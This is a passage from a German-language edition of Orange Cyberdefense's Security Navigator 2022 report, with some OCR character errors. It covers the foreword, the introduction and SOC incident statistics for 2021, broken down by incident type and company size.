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2021 haben unsere 18 SOCs und 14
CyberSOCs Uber 60 Milliarden Security-Events
pro Tag analysiert, mehr als 94.000 potenzielle
Sicherheitsvorfélle untersucht und mehr als 230
Incident Response-Missionen durchgeflhrt.

Unsere Experten haben all diese wertvollen
Informationen ausgewertet und die wichtigsten
Punkte in diesem Report zusammengefasst,
zum Vorteil unserer Kunden und der
Cybersecurity Community.

Wir freuen uns sehr, der Cybersecurity Community

die dritte Ausgabe des Orange Cyberdefense Security
Navigators vorzustellen. Wieder einmal kénnen wir
unsere eigene Sicht auf die Cybersecurity-Landschaft
présentieren, aufgrund unserer Position als Teil eines
der groBten Telekommunikationsanbieter weltweit und
als fihrender Anbieter von Cybersecurity Services und
Research.

Wéhrend die biologische Pandemie in vielen Landern
langsam ihre Kontrolle tiber die Gesellschaft und die
Wirtschaft verliert, stehen wir vor dem Ausbruch einer
weiteren digitalen Pandemie.

Gerade als die Lander begannen, sich von den
Einschrankungen durch Lockdowns zu befreien,
konnten sich Unternehmen damit konfrontiert sehen,
ihre eigene Infrastruktur abriegeln zu missen — und
zwar schneller als eine Ransomware-Infektion das kann.
Manchmal scheint dies die einzige Mdglichkeit zu sein,
die Ausbreitung der Infektion zu stoppen. Man bek@mpft
Feuer mit Feuer und nimmt vortibergehende Schaden in
Kauf, um noch schlimmere Ausfalle zu vermeiden.

In der heutigen vernetzten, voneinander abhéngigen
Geschéaftswelt fihrt dies unweigerlich zu einem Domino-
Effekt, der Wellen in alle Richtungen der Lieferketten wirft.

Die wechselseitige Abhangigkeit ist dabei eines der
Schllsselelemente. Angriffe wie SolarWinds und Kaseya
haben uns einen Punkt sehr stark verdeutlicht: Selbst
vertrauenswurdige Software von seriésen Anbietern
kann sich fir raffinierte Angreifer in ein trojanisches
Pferd verwandeln.

Technologie allein kann nicht die Losung fur dieses
Problem sein. Um dieser Situation zu begegnen, sollten
wir uns der Tatsache bewusst sein, dass niemand allein
mit diesen Herausforderungen fertig werden muss.
Jeder kann auf individueller oder gemeinschaftlicher
Ebene ein Opfer werden. Wir als globale digitale
Community missen uns mit vereinten Kraften gegen
diese Bedrohungen wehren.

Vorwort

Es ist keine einfache Reise. Cybersecurity ist komplex.
Die Fragmentierung der Optionen in der Branche

macht das Problem noch komplexer, und gleichzeitig
bendtigen verschiedene Organisationen abhangig

von ihrer derzeitigen Lage, ihrem Arbeitsumfeld

und ihren zukinftigen Ambitionen unterschiedliche
Lésungsansatze. Bei Orange Cyberdefense arbeiten wir
unermudlich daran, Sie bestmdglich auf diesem Weg zu
beraten und zu unterstitzen.

Noch nie war es so wichtig wie heute, sich aus dem
reaktionsgesteuerten Krisenmodus zu I6sen und das
Ruder wieder in die Hand zu nehmen. Wir missen die
Freiheit und Sicherheit im digitalen Raum schiitzen,
nicht nur fir uns, sondern auch fir die gesamte Cyber-
Community. Daher verfolgen wir die Mission, eine
sicherere digitale Gesellschaft aufzubauen, ,to build a
safer digital society".

Im vergangenen Jahr haben unsere 18 SOCs und
14 CyberSOCs Uber 60 Milliarden Security-Events
pro Tag analysiert, mehr als 94.000 potenzielle
Sicherheitsvorfélle untersucht und mehr als 230
Incident-Response-Missionen durchgefihrt.

Unsere multidisziplindren Experten haben all diese
wertvollen Informationen ausgewertet und die wichtigsten
Punkte in diesem Report zusammengefasst, zum Vorteil
unserer Kunden und der Cybersecurity Community.

Wir sind stolz und fUhlen uns jeden Tag aufs Neue
geehrt, dass unsere Kunden uns den Schutz ihrer
wichtigsten Assets anvertrauen, und wir setzen in allen
Bereichen das beste Fachwissen wie auch die beste
Technologie ein, um ihre Geschéftstatigkeit zu schiitzen.

Vielen Dank fur lhr Vertrauen und viel SpaB beim Lesen!

Hugues Foulon

www.orangecyberdefense.com
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Einleitung:

Was Sie

Laurent Célérier

EVP Marketing & Technology

wissen mussen P or s

Um die Analogie der maritimen Welt zu nutzen, aus der wir
auch den Begriff ,Navigator’ tUbernommen haben: Im Jahr 2021
mussten wir, um es mal vorsichtig auszudriicken, auf ziemlich
strmischer See segeln. Alle Beteiligten versuchten, sich in
diesem Sturm Uber Wasser zu halten, und taten ihr Bestes, um
ihre Fracht Uber die unruhigen digitalen Meere, auf denen unsere
moderne Gesellschaft schwimmt, in sichere Hafen zu bringen.

Cybersecurity-Experten von Ihnen, unseren Kunden, unseren
Partnern und Orange Cyberdefense standen als Leuchttirme
bereit, um alle Beteiligten in Sicherheit zu bringen. Dieser Report
bietet uns die Mdglichkeit, ihnen unsere Anerkennung zu zeigen.
Das RettungsfloB ist trotz schwerer Angriffe stabil geblieben und
unsere Okonomien boomen wieder. Der Stellenwert digitaler
Technologie ist noch gréBer geworden, und sie ist nun noch
wichtiger. Ist die Gefahr vortiber? Ist der Sturm vorlber?

Wie Seeleute wissen, passieren die meisten Unfélle kurz
nach dem Sturm. Das schéne Wetter kehrt zurlick, man

fuhlt die Ermidung, die Wachsamkeit nimmt ab, ein Geflhl
von Uberlegenheit macht sich breit — man hat die Krise
gemeistert und kann wieder zur Tagesordnung tUbergehen.

In einigen Unternehmen verringert sich die Prioritat fir den
Sicherheitsbereich: es gilt, mit der Produktion aufzuholen und
starker als die Konkurrenz zu beschleunigen.

Dann werden Uberstirzte Entscheidungen getroffen und
schlechte Gewohnheiten schleichen sich wieder ein, wodurch
es kurz- oder mittelfristig zu schweren Unfallen kommen
kann. Wir sollten kltger sein und das Jahr 2022 zum Jahr der
Wachsamkeit machen!

Das ware zweifellos sinnvoll, denn auf Seiten der Angreifer
konnten wir bislang keinerlei Verbesserungen feststellen.
Tatsachlich erleben wir regelméBig, dass sie stérker

und schneller beschleunigen als die eingerichteten
Verteidigungssysteme. Die Dark Economy besitzt ihre eigenen
konkurrierenden Kréfte, die skrupellos versuchen, Marktanteile
zu gewinnen, ob es sich dabei um nationalstaatliche Akteure
oder andere Cyber-Kriminelle handelt.

Unsere Statistiken zeigen deutlich das Wachstum dieses
Schattengeschéfts, sowohl in Bezug auf Professionalitat als
auch auf das Angriffsvolumen im Jahresvergleich.

Quantitative Statistiken sind fiir die Erkennung von Trends
bedeutend. Sie zeigen aber nicht das gesamte Bild. Ein
einziger komplexer Angriff kann viel gefahrlicher und
anspruchsvoller sein als Tausende von simplen Angriffen.
Also missen wir den Stand der Bedrohung auf einer weitaus
tieferen Ebene untersuchen. Es geht um die Diversitat — neue
Angriffstechniken ersetzen die alten nicht, sie kommen hinzu
—und die Qualitat der Angriffe, die ich in dieser Einleitung
herausstellen méchte.

Wie Experten wissen, wird der Wert einer Armee nicht nur
durch die Anzahl der Infanteristen, Panzer oder Flugzeuge
gemessen. Sie wird an ihrer Féhigkeit gemessen, ihre Ziele zu
erreichen und ihre Strategie umzusetzen.

Vier Aspekte zeigen, dass Hacker sich weiterentwickelt haben:

Sie sind in der Lage, die richtigen Stellen anzugreifen, um
die maximale Wirkung zu erzielen. Der SolarWinds-Angriff
ist das perfekte Beispiel daftir. Durch die Kompromittierung
eines einzigen Unternehmens gelang es den Hackern, eine
sehr groBe Anzahl von Zielobjekten zu infizieren.

Sie kédnnen die Auswirkungen kombinieren, wie die
Double Ransomware Extortion beweist. Werden die Daten
offentlich zuganglich gemacht, ist ihre Vertraulichkeit nicht
mehr gewahrleistet. Werden sie verschlisselt, ist ihre
Verflgbarkeit und Integritat in Gefahr. Wir beobachten
bereits die Entwicklung von Triple Extortion, bei denen ein
DDoS-Angriff das offensive Manéver komplettiert und den
Druck auf das Opfer erhéht.

Trotz aller Bemiihungen der Polizei weltweit werden nur
wenige Hacker-Gruppen jemals gefasst. Und auch wenn
die Infrastruktur einer Organisation erfolgreich zerschlagen
wird, schlieBen sich die verbleibenden Hacker einfach
anderen Syndikaten an. Staatlich beauftragte Angreifer
sind noch besser geschiitzt und haben keinerlei rechtliche
Verfolgung zu beflurchten.

Sie sind zudem in der Lage, hoch spezialisierte Experten
zusammenzubringen, um ihre Produktivitat zu steigern.
Die Entwicklung von speziellen Experten auf dem ,Hack to
cash’-Weg ist augenscheinlich.

Die Bedrohungslandschaft wandelt sich, da gut ausgebildete
und staatlich geférderte Hacker mit ihrer Erfahrung und ihrer
strategischen Vision in den Bereich der Cyber-Kriminalitat
vordringen. Es findet ein Generationswechsel statt, und diese
Verbreitung von militdrischem Know-how unter den Gruppen
ist wahrscheinlich die schlechteste Nachricht fir das Jahr
2022.

Eine betrachtliche Anzahl gut ausgebildeter Cyberfighter wird
jedoch auch die Verteidigung starken und sie werden ihre
Erfahrungen und Methoden in diesen Kampf mit einbringen.
Wir befinden uns nédmlich in einem digitalen Konflikt, fir den
die Kriegsgrundsatze gelten:

Konzentration der Kréfte, auf die kritischsten
Unternehmenswerte dank umfassender Kenntnisse und eines
guten Versténdnisses von Schwachstellen und Bedrohungen.

Haushalten der Mittel, indem man nicht versucht, alles selbst
zu bewadltigen, sondern auf Experten zurtickgreift.

Bildung starker Partnerschaften zur gemeinsamen Nutzung
von Ressourcen und Wissen, so dass die gemeinsamen Krafte
starker sind als die Summe ihrer Teile.

Wir wiinschen Ihnen viel SpaB beim Lesen dieser neuen
Ausgabe des Security Navigators und hoffen, dass Sie damit
weiterhin sicher durch den digitalen Ozean navigieren kénnen.

www.orangecyberdefense.com
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Diana Selck-Paulsson
Threat Research Analyst
Orange Cyberdefense

Wicus Ross
Senior Security Researcher
Orange Cyberdefense

CyberSOC-Statistiken

Was bisher
geschah

Ein weiteres Jahr ist vergangen. Es ist an der Zeit, sich erneut

die Statistiken anzuschauen, die wir im Rahmen der von uns
bereitgestellten Detection, Operations und Managed Services
zusammengetragen haben. Wir haben Vorfélle von unseren SOCs
und CyberSOCs aus der ganzen Welt gesammelt und die Daten im
Rahmen des Analyseprozesses normalisiert.

Beim Lesen dieses Artikels, ist es wichtig zu beachten, dass es
sich bei all diesen Mustern, die wir beobachten konnten, tatsédchlich
um Angriffe handelt, die wir abgewehrt haben. Dies ist ein erneuter
Beleg daflr, dass unsere Kunden gut geschutzt sind. Allerdings

ist es wichtig, nicht auf den sogenannten ,Survivorship Bias'"
hereinzufallen.

Um sicherzustellen, dass die vorgelegte Analyse praktikabel ist,
haben wir zusétzliche Daten- und Recherchequellen herangezogen
und standig Uberprift, was wir beim Analysieren der Statistiken
unserer SchutzmaBnahmen beobachten konnten. Wahrend
Initiativen wie World Watch in diesem Bericht ein eigenes Kapitel
gewidmet ist, haben wir auch World-Watch-Daten und verschiedene
andere Beobachtungen aus unserem gesamten CERT, den
Epidemiology Labs und anderen Arbeitsgruppen bertcksichtigt, um
unsere Beobachtungen, zu validieren.

© Orange Cyberdefense www.orangecyberdefense.com



. Security Navigator 2022 =

Uber die Daten
- Gesamtzahl der Vorfille: 94.806 (gegeniiber 45.398 im Jahr 2020)

= Von diesen Vorféllen konnten 34.158 als Sicherheitsvorfille bestatigt werden (36 %)
= Analysezeitraum: Oktober 2020 bis September 2021

- Datenquellen: Firewalls, Verzeichnisdienste, Proxy, Endpoint, EDR, IPS, DNS, DHCP,
SIEM und unsere Managed-Threat-Detection-Plattform

Trichter:

Vom Alarm zum Vorfall

94.806

Potenzielle Vorféalle

34.158

36.03% bestétigte Vorfélle
2

P
38% B 22% | [ 13% |0 9% 8% 6%

WVAY

*gerundet auf ganze Zahlen, fehlende 4%: andere Kategorien wie DoS und Error

Malware Netzwerk- & Konto- System- Richtlinien- Social
Anwendungsanomalien anomalien anomalien verstoBe Engineering

Im Jahr 2021 haben wir folgende Arten von Vorfallen festgestellt:

Malware ist eine Schadsoftware wie etwa
Ransomware.

Netzwerk- & Anwendungsanomalien wie
Tunneling, IDS/IPS-Alarmfélle und andere Angriffe
im Zusammenhang mit dem Netzwerkverkehr und
Anwendungen.

Kontoanomalien, wie Brute-Force-Angriffe,
Recycling von Anmeldeinformationen, Lateral
Movements, Rechteerweiterung oder ahnliche
Vorfalle.

Systemanomalien sind Ereignisse, die in direktem
Zusammenhang mit dem Betriebssystem und den
damit verbundenen Komponenten stehen, z. B.
Treiber, die nicht mehr funktionieren, oder Dienste,
die unerwartet beendet werden.

RichtlinienverstoBe, z. B. die Installation nicht
unterstltzter Software oder das Verbinden eines
nicht autorisierten Gerats mit dem Netzwerk.

Social Engineering bezeichnet jeden Versuch,
Benutzer zu tauschen, einschlieBlich, aber nicht
beschrankt auf Phishing und Spoofing.

Wir behalten unsere globale Sichtweise auf unsere Daten tber
Vorfélle bei und freuen uns, unsere Bemihungen im diesjahrigen
Report vorstellen zu kénnen. Die gesammelten Daten umfassen
eine breite Palette unserer operativen Teams bei Orange
Cyberdefense, darunter 14 CyberSOCs, die mit unseren Kunden
aus der ganzen Welt zusammenarbeiten.

Bevor wir zur Vorstellung unseres Datensatzes kommen, mdchte
ich noch ein paar Bemerkungen zum Verstandnis unserer Daten
vorausschicken. Ferner mochte ich vorab auf die Veranderungen
gegenliber dem Vorjahr eingehen. Wir setzen unseren
Wachstumskurs fort, was bedeutet, dass uns mehr Daten

zur Verflgung stehen. In diesem Jahr wurden 5 % all unserer
Daten Uber Vorfélle durch Dienste generiert, die wir dieses

Jahr hinzugefligt und in unsere Datensammlung aufgenommen
haben. Es ist auch das erste Jahr, in dem wir uns dafur
entschieden haben, einen vollstdndigen 12-Monats-Zeitraum
(Oktober 2020 bis September 2021) zu beriicksichtigen.

Uns stehen daher Daten fiir ein ganzes Jahr zu Verfligung

und nicht nur die ersten 10 Monate des Jahres, wie es in

der Vergangenheit der Fall war. Wir haben uns entschieden,
,Events’ von nun an als MessgroBe auszuschlieBen, da

die Korrelationsregeln zwischen den operativen Teams
unterschiedlich waren und die Normalisierung dieses speziellen
Datensatzes zu komplex geworden ware. Wir kénnen jedoch mit
ziemlicher Sicherheit sagen, dass wir 2021 Milliarden von Events
verarbeitet haben.

Hinweis zur Terminologie: Wir protokollieren ein Event, das
bestimmte Bedingungen erfiillt hat und daher als Indikator einer
Kompromittierung, eines Angriffs oder einer Schwachstelle

gilt. Ein Vorfall liegt vor, wenn dieses protokollierte Event oder
mehrere Events korrelieren oder zur Priifung durch einen
Menschen — in dem Fall unsere Security Analysten — markiert
werden. Ein Vorfall gilt als ,bestétigt’, wenn wir mit Hilfe des
Kunden oder nach Ermessen des Analysten feststellen kénnen,
dass die Security tatsdchlich kompromittiert wurde. Wir
bezeichnen diese bestétigten Vorfalle in diesem Bericht als ,True
Positives’. True-Legitimate-Vorfélle sind Vorfélle, die gemeldet
wurden, sich aber nach der Zusammenarbeit mit dem Kunden
als legitime Aktivitdten herausstellten. False-Positive-Vorfalle
weisen auf eine Bedrohung hin, die tats&chlich nicht bestand: es
wurde ein falscher Alarm ausgeldst.

Um unsere Ergebnisse mit dem letztjghrigen Report
vergleichen zu kénnen, konzentrieren wir uns in diesem
einleitenden Abschnitt auf die ersten 10 Monate des Jahres
2021. AnschlieBend mdchten wir uns unseren 12-Monats-
Datensatz zunutze machen. Im Vergleich zum Vorjahr ist unser
Kundenstamm gewachsen. So konnten wir in diesem Jahr

48 % mehr Kunden in den diesjahrigen Bericht aufnehmen. Dies
fUhrte zu einem Anstieg der bearbeiteten Sicherheitsvorfélle
um 61 % (n = 72.956). Uber den gesamten Zeitraum von 12
Monaten haben unsere Analysten 94.806 Vorfélle bearbeiten
kdnnen.

Die durchschnittliche Zahl der (bestétigten) Vorfalle pro Monat/
Kunde ist in den ersten zehn Monaten des Jahres 2021 auf 42
gestiegen, verglichen mit 37 im gleichen Zeitraum des Vorjahres.
Abgesehen vom Onboarding neuer Kunden und der Eréffnung
von SOCs kdénnen wir also behaupten, dass die Zahl der
Cyberangriffe tatséchlich um 13 % gestiegen ist.

Alle 94.806 Vorfalle wurden von (menschlichen) Security
Analysten untersucht, die nach der Untersuchung 34.158
bestatigte ,True Positive’-Sicherheitsvorfalle bei unseren
Kunden melden konnten. Dies bedeutet, dass anteilig 36 %
aller Vorfélle bestétigt wurden, verglichen mit 41 % in unserem
letzten Bericht. Dies bedeutet jedoch nicht, dass es sich bei
dem Rest um ,False’-Vorfalle handelt — tatsdchlich wurden

21 % aller Vorfélle als ,True Legitimates’ untersucht, 40 % als
,False Positives* (2020: 35 %) und 3 % bleiben ungeklart.

www.orangecyberdefense.com




In diesem Jahr konnten wir eine Verschiebung innerhalb der
Verteilung der Vorfallsarten beobachten. Im vergangenen
Jahr konnten wir Netzwerk- und Anwendungsanomalien
als Vorfallsart Nummer eins erkennen und bestétigen
(2020: 35 %). In diesem Jahr konnten wir Malware (38 %)
als Nummer eins einstufen, gefolgt von Netzwerk- und
Anwendungsanomalien (22 %). Dies ist ein deutlicher
Rickgang der netzwerkbezogenen Vorfalle um 13 % im
Vergleich zum Vorjahr. Malware hingegen hat sich seit
letztem Jahr (2020: 20 %) proportional fast verdoppelt
und ist in diesem Jahr in den Top 3 zur am meisten
bestatigten Vorfallsart aufgestiegen. Dies lasst sich zum
Teil dadurch erklaren, dass einige unserer groBeren
Kunden ihre Detection-Fahigkeiten flir Malware verbessert
haben. Dartber hinaus gab es in den letzten 12 Monaten
im Allgemeinen mehr Malware-Aktivitaten, insbesondere
im Marz sowie Juni 2021, wo wir die meisten bestétigten
Sicherheitsvorféalle verzeichnen konnten. Da Malware

in unseren Vorfallstatistiken so prasent war, haben wir
den beobachteten Malware-Trends einen Unterabschnitt
gewidmet.

Wir verzeichneten bestétigte Kontoanomalien mit

13 %, wodurch das Trio der Top-3-Vorfallsarten vollstandig
und mit den Vorjahren vergleichbar ist. Ahnlich wie bei

den Netzwerk- und Anwendungsanomalien sind die
Kontoanomalien von 23 % im Vorjahr auf 13 % in diesem
Jahr deutlich zuriickgegangen. Damit haben wir nach wie
vor die gleichen Top 3 der bestétigten Vorfallsarten wie in
den Vorjahren beobachten kénnen, was stark von unserem
Fokus der Detection bei unseren Kunden beeinflusst

wird. Was wir aber diesmal feststellen konnten ist, dass
der Abstand zwischen dem 4. Platz (Systemanomalien)
und Platz 5 (RichtlinienverstdBe) zu den Top 3 nicht so
grof3 ist wie in allen vorherigen Berichten. Tatsachlich
kénnen wir beobachten, dass RichtlinienverstéBe und
Social Engineering in den letzten Jahren kontinuierlich
zugenommen haben. Wahrend die RichtlinienverstoBe in
den Jahren 2018 und 2019 zwischen 1-2 % aller bestatigten
Vorfalle ausmachten, konnten wir im vergangenen Jahr

mit 6 % bereits einen Anstieg verzeichnen. Letztes Jahr
konnten wir feststellen, dass die meisten RichtlinienverstéBe
bei GroBunternehmen verursacht wurden. In diesem

Jahr konnten wir eine Verschiebung beobachten:
Kleinunternehmen haben fast so viele bestéatigte
RichtlinienverstéBe (7 %) wie GroBunternehmen (10 %)
verzeichnen kénnen, wahrend bei mittelstandischen
Unternehmen nur 2 % aller bestatigten RichtlinienverstéBe
verursacht wurden.

Bei der Kategorie Systemanomalien scheint im Verhaltnis
zum Vorjahr alles beim Alten geblieben zu sein.
Systemanomalien stellen eine sehr weit gefasste Kategorie
dar, unter welche viele unterschiedliche Vorfélle in Bezug auf
das Betriebssystem fallen, die aufgrund von verdachtigen
Vorgéngen unsere Aufmerksamkeit erregen.

In den diesjéhrigen Daten Uber Vorfélle werden Sie eine
Kategorie namens ,Sonstige’ finden, die einen Anteil von 4 %
aller unserer festgestellten Vorfalle ausmacht. Wir schlieBen
diese normalerweise aus unserem Report aus, aber da

wir einige gute Nachrichten haben, aufgrund derer diese
Kategorie so bedeutsam wurde, haben wir sie aufgenommen.
Wir méchten Ihnen diesbeztiglich auch erklaren, warum 4 %
aller unserer Vorfélle als ,Sonstige’ eingestuft werden. Wir
verbessern kontinuierlich unsere Daten Uber Vorfélle und die
Art und Weise, wie wir Sicherheitsvorfalle klassifizieren. Mitte
diesen Jahres haben wir eine Anderung vorgenommen, um
einen Ansatz fir unser Vorfallsmanagement anzuwenden, der
dem Branchenstandard eher gerecht wird. Somit sind unsere

Daten vergleichbarer und kénnen gemeinsam genutzt werden.

Aus diesem Grund haben wir uns entschieden, das VERIS-
Framework (Vocabulary for Event Recording and Incident
Sharing) zu adaptieren. Da diese Anderung Mitte des Jahres
erfolgte und es einige Zeit in Anspruch nehmen wird, bis sie

ihr volles Potenzial entfaltet, haben wir unser altes und neues
Klassifizierungssystem parallel betrieben, um die Auswirkungen
der Anderung (iberwachen und konsistente Daten fiir diesen
Bericht bereitstellen zu kénnen. Daher wurden 4 % aller
unserer Vorfélle mit der neuen Methode kategorisiert. Allerdings
konnten sie nicht im alten System zugeordnet werden. Daher
wurden sie der Kategorie ,Sonstige’ zugeordnet. Im néchsten
Jahr werden wir jedoch in der Lage sein, weitere Details

zu Vorfallen zu ver6ffentlichen, die dem Branchenstandard
entsprechen.
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Vorfalle nach
UnternehmensgroBe

Wir ordnen unsere erkannten Vorfélle nicht nur gewissen
Klassifikationen zu, sondern verknuipfen sie auch mit
bestimmten ,Demografien’ des Kundenprofils — eine davon ist
die UnternehmensgroBe. Dabei unterscheiden wir zwischen den
folgenden UnternehmensgréBen:

= Klein
(Anzahl an Beschaftigten = 101-1.000),

Mittel
(Anzahl an Beschéftigten = 1.001-10.000) und

GroB3
(Anzahl an Beschéftigten = 10.000 +)

In diesem Bericht konnten wir eine hnliche Verteilung der
entdeckten Vorfélle wie bereits zuvor beobachten. Die Beitrage
der Kunden, aus denen wir die Daten erheben konnten, haben
sich nur geringfligig gedndert.

o

Klein

<1.000 Beschaftigte
Vorfélle:

Median: 68
Durchschnitt: 181

. Malware

Netzwerk- &

Anwendungsanomalien | 2220 %

Kontoanomalien
Systemanomalien

RichtlinienverstéBe

. Social Engineering

. Sonstige

Im Verhdltnis (in %) bedeutet dies, dass wir 6 % mehr
Kleinunternehmen als im Vorjahr bertcksichtigt haben,
wéhrend die Kunden aus mittelstédndischen Unternehmen
und GroBunternehmen jeweils um 3 % zurlickgegangen
sind. Insgesamt haben wir jedoch in den letzten 12 Monaten
und damit wahrend unseres Datenerhebungszeitraums

ein Wachstum unseres Kundenstamms in allen drei
UnternehmensgréBen verzeichnen kénnen.

In diesem Jahr konnten wir wieder einen nattrlicheren Trend
nachverfolgen, der zeigt, dass GroBunternehmen fast 7x so
viele bestétigte Vorfalle aufweisen wie Kleinunternehmen und
4x so viele wie mittelstdndische Unternehmen. Im Vergleich
zum letzten Jahr konnten wir einen Riickgang der Anzahl

von Vorfallen bei Kleinunternehmen beobachten, wiahrend
mittelstédndische Unternehmen mit dem Niveau des Vorjahres
bei Kleinunternehmen gleichzogen. GroBunternehmen
verzeichneten 70 % der Vorfalle des letzten Jahres.

Mittel GroB

1.000-10.000 Beschéftigte 10.000+ Beschéftigte
Vorfélle: Vorfélle:

Median: 101 Median: 471
Durchschnitt: 215 Durchschnitt: 1.292

45,36 % 14,95 %

2,99 % 7,43 %

Wie bei allem, was wir hier tun, gilt es bei der Analyse

unserer Sicherheitsvorfélle zu berlicksichtigen, dass die

von unseren Security Analysten klassifizierten Vorfélle nicht
nur von der externen Bedrohungslandschaft, sondern auch
von den bei unseren Kunden implementierten Detection-
Leistungen beeinflusst werden. Wahrend wir einerseits unsere
Beobachtungen fir jede Unternehmensgruppe mit lhnen teilen,
mochten wir Sie andererseits auch darauf hinweisen, dass
das, was wir bei unseren Kunden entdecken, sowohl von der
externen Bedrohungslandschaft (Angriffe) als auch von den
eingefuhrten SicherheitsmaBnahmen (Sichtbarkeit) abhangt.

37 % aller fUr diesen Bericht berlicksichtigten Kunden

werden als Kleinunternehmen (unter 1.000 Beschéftigte)
eingestuft, die eine Vorfallsmenge von 17 % darstellen.
Betrachtet man nur ,True Positive’-Vorfélle fir diese Gruppe,
registrieren Kleinunternehmen Uber ¥z ihrer Vorfélle als
irgendeine Form von Malware (35 %). Es folgen Netzwerk- und
Anwendungsanomalien (29 %) und Kontoanomalien (14 %).

In den letzten drei Jahren konnten wir eine stetige Zunahme
bestatigter Malware-Vorfélle bei kleinen Unternehmen
verzeichnen (2019: 10 %, 2020: 24 %, 2021: 35 %).

In der Regel bilden die von uns beobachteten Vorfallsmengen
die relative Bedeutung der UnternehmensgréBe ab. Das
bedeutet, dass wir natiirlich die meisten Vorfélle bei
GroBunternehmen beobachten, gefolgt von mittelstandischen
Unternehmen und anschlieBend Kleinunternehmen. In diesem
Jahr gibt es eine Ausnahme in der Kategorie Malware zu

vermelden: Kleinunternehmen erhielten mehr Meldungen Gber
potenzielle Malware-Vorfélle als mittelstdndische Unternehmen.
Infolgedessen verzeichneten sie 38 % mehr bestatigte
Malware-Vorfélle als mittelstandische Unternehmen (wie auf
der nachsten Seite abgebildet).

Waéhrend wir letztes Jahr angaben, dass Kleinunternehmen und
mittelstédndische Unternehmen GroBunternehmen eingeholt
haben, was Malware-Vorfalle angeht, wurden in diesem Jahr
Kleinunternehmen tber 15 % haufiger Uber Malware-bezogene
Vorfélle alarmiert als mittelstadndische Unternehmen. Malware
als Vorfallsart kann stark variieren, je nachdem, welche Art

von Malware erkannt und behoben wurde. Es muss jedoch
konstatiert werden, dass auch bei einem Blick auf die aktuellen
Erpressungsgefahren (wie im Abschnitt Cy-X beschrieben)
Kleinunternehmen am starksten betroffen sind.

Obwohl dies eine sehr interessante Beobachtung ist, gilt es

zu beachten, dass wir zwei sehr unterschiedliche Datensatze
betrachtet haben, von denen einer vollstédndig von der externen
Bedrohungslandschaft abhangt (Cyber-Extortion-Angriffe)

und der andere von unseren Detection-Leistungen und der
Umgebungsdynamik der Kunden beeinflusst wird. Eine
Hypothese, die fur beide Beobachtungen gilt, ist, dass kleine
Unternehmen Uber weniger Ressourcen und damit weniger
,Ebenen’ von SicherheitsmaBnahmen verfiigen. Das kénnte
der Grund daflr sein, weshalb zunachst mehr Malware in das
Unternehmen gelangt (wo wir sie als Vorfall erkennen) und dass
mehr Kleinunternehmen Opfer von Erpressungskriminalitat im
Endstadium werden. Aber bei allem, was wir mit diesen Daten
wirklich tun kénnen, ist zu betonen, dass kleine Unternehmen in
beiden Datensatzen hervorstechen.

Vorfalle nach UnternehmensgrofB3e

Anzahl der erfassten Vorfalle flir verschiedene GroBenklassen im Laufe der Zeit GroB Mittel B Klein
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Die in diesem Bericht beriicksichtigten Kunden, die zu den
mittelstédndischen Unternehmen gehoéren, machen 41 % des
gesamten hier erfassten Kundenstamms aus (im Jahr 2020:
44 %). Diese Gruppe macht 30 % aller erkannten Vorfélle aus.

Zu den Top 3 bestatigter Sicherheitsvorfélle gehéren Netzwerk-
und Anwendungsanomalien mit 45 % und Anwendungs- und
Kontoanomalien sowie Malware-Angriffe mit jeweils 20 %

aller bestatigten Vorfélle, die in dieser Unternehmensgruppe
registriert wurden.

Diese Gruppe sticht besonders hervor, weil sie eine hdhere
Anzahl an Netzwerk- und Anwendungsanomalien aufweist.
Tatsachlich war die Anzahl der gemeldeten netzwerkbezogenen
Vorfélle hdher als bei groBen Unternehmen. Darlber hinaus
weist diese Gruppe im Vergleich zu Kleinunternehmen in

den Kategorien RichtlinienverstéBe, Malware und Social
Engineering eine geringere Anzahl bestétigter Vorfélle auf.
Damit stehen mittlere Unternehmen in vier von sieben
Vorfallkategorien im ,Widerspruch* bezliglich Vorfallsmengen
gegenuber ihrer GroBe.

Die Vorfallsmenge mittlerer Unternehmen variierte in den
letzten 12 Monaten. Insbesondere der April 2021 sticht

mit einer Vorfallsmenge hervor, die fast so hoch ist wie bei
groBen Unternehmen. Bei der Untersuchung dessen, was
diesen Anstieg verursacht hat, konnten wir feststellen, dass
im April die meisten Kontoanomalien und RichtlinienverstéBe
sowie Uberdurchschnittlich viele Netzwerk- und
Anwendungsanomalien aufgetreten sind.

Die in diesem Bericht enthaltenen Kunden, die zu den
GroBunternehmen (Uber 10.000 Beschéftigte) gehdren,
machten in diesem Jahr einen Anteil von 22 % aus,

was bedeutet, dass dort 53 % aller erkannten Vorfélle

erfasst wurden. GroBe Unternehmen konnten mit 43 %

mehr als doppelt so viele bestatigte Malware-Vorfalle als
mittelstédndische Unternehmen verzeichnen. Ferner weisen sie
im Vergleich zu kleinen und mittleren Unternehmen deutlich
weniger Netzwerk- und Anwendungsanomalien (15 %) auf.

Im Vergleich zum letzten Jahr haben wir einen Anstieg der
bestatigten Malware-Vorfalle um 11 % verzeichnet. Ein Grund,
weshalb Malware in dieser Gruppe so prasent ist, ist, dass ein
Kunde im Datensatz enthalten ist, der mit einer sehr hohen
Anzahl bestatigter und behobener Malware-Vorfélle zu tun
hatte.

Abgesehen vom allgemeinen Trend gab es bei groen
Unternehmen fast halb so viele netzwerkbezogene Vorfalle
wie bei Kleinunternehmen, was einen ahnlichen Trend wie
im letzten Jahr widerspiegelt. Wie auch bei den anderen
UnternehmensgréBen kénnen wir auch hier nach dem
Hochststand im Juni 2021 einen ricklaufigen Trend bei den
Vorfallsmengen beobachten. Eine interessante Beobachtung
ist, dass GroBunternehmen bei genauerer Betrachtung

von Vorfallen im Kontext von bestétigten Vorfallen im
Zusammenhang mit Ransomware genauso wenig bestatigte
Vorfélle aufgewiesen haben wie Kleinunternehmen.

Malware nach Unternehmensgrofle

Anzahl der erfassten Malware-Vorfélle nach GroBenklassen
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Malware pro Kunde nach UnternehmensgrofB3e

Anzahl der bestatigten Malware-Vorfélle pro Kunde, aufgeschliisselt nach UnternehmensgréBe
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Malware im Laufe der Zeit

Alle im vergangenen Jahr aufgezeichneten Malware-Vorfélle
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Malware-Trends

Wie bereits erwahnt, wurden 38 % aller unserer bestatigten
Sicherheitsvorfélle als Malware eingestuft, was einem Anstieg
von 18 % im Vergleich zum Vorjahr entspricht. Neben dem
eben angesprochenen Anstieg konnten wir ab Juli 2021 einen
deutlichen Ruckgang von Malware verzeichnen, der sich im
dritten Quartal 2021 fortgesetzt hat.

M Anzahl von Malware-Vorfallen

Soweit es uns mdglich ist, kdnnen wir je nach Herkunft

der Meldung ein bestimmtes Malware-typisches Verhalten
erkennen, das wir nach dem VERIS-Framework klassifizieren.
